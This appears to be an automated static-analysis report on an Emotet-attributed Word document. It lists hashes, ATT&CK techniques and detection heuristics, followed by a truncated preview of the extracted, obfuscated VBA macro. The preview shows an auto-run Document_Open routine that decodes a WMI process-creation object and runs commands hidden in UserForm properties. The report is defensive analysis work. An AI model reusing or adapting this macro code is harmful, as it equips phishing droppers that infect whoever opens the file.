Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 dbfbc13ff098e5c8…

MALICIOUS

Office (OLE)

229.7 KB Created: 2020-08-26 21:06:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 81a9684d311705ff10a75262341162df SHA-1: 868109f7dbce85c8dda9970119319bb2518d669f SHA-256: dbfbc13ff098e5c8ed87a620e5e73f075dc9ac85963d50111843d28ea929a4d1
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that utilizes a hidden UserForm to execute obfuscated code, a known technique for Emotet. The 'Document_Open' macro and 'CreateObject' calls indicate an attempt to run malicious code upon opening the document. The ClamAV detection 'Doc.Downloader.EmotetRed02226-9938639-0' further supports the Emotet family attribution and suggests the macro's purpose is to download a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10514 bytes
SHA-256: 6151874a7a163188c682b9f1f93691bccc13b7d1d7e1e9566a3ffd2ef1c866dc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Wfnvgjmlx889dd_"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Ujvjog3ydio8n.Fjlgzokg9a950q9y8u
End Sub


Attribute VB_Name = "Ujvjog3ydio8n"
Attribute VB_Base = "0{8D1BCB04-BDE2-4452-9529-6A8AF56D5A24}{C2D3186F-2D35-4B0D-B661-1F2332383DE5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Fjlgzokg9a950q9y8u()
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Ujvjog3ydio8n.Tdqecpd9u4dtor
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Khjqdefy9o1obqf7l_ = dw + 45 + ee + 55
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Ujvjog3ydio8n.Tdqecpd9u4dtor
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Y97gz3wrgjmziejt = ChrW(Khjqdefy9o1obqf7l_ + (fqd + 10 + vvvv + 5))
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Ujvjog3ydio8n.Tdqecpd9u4dtor
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
M7p7k7jxu5ekp = "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ai[[[372vfr56 61fs[][324 24 2ds[]anm[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]agm[[[372vfr56 61fs[][324 24 2ds[]at[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a" + Y97gz3wrgjmziejt + "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a:[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ain[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a3[[[372vfr56 61fs[][324 24 2ds[]a2[[[372vfr56 61fs[][324 24 2ds[]a_[[[372vfr56 61fs[][324 24 2ds[]a" + Ujvjog3ydio8n.Tdqecpd9u4dtor + "[[[372vfr56 61fs[][324 24 2ds[]aro[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]ace[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]a"
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Ujvjog3ydio8n.Tdqecpd9u4dtor
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Erei5ervh2hpi = Ida9_p4tdb0s(M7p7k7jxu5ekp)
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Ujvjog3ydio8n.Tdqecpd9u4dtor
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Set Ws5ud1c36dl = CreateObject(Erei5ervh2hpi)
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Ujvjog3ydio8n.Tdqecpd9u4dtor
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Ltbh2l1uerijj_8bl9 = Ujvjog3ydio8n.B5e8ssp78owpz.ControlTipText
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Ujvjog3ydio8n.Tdqe
... (truncated)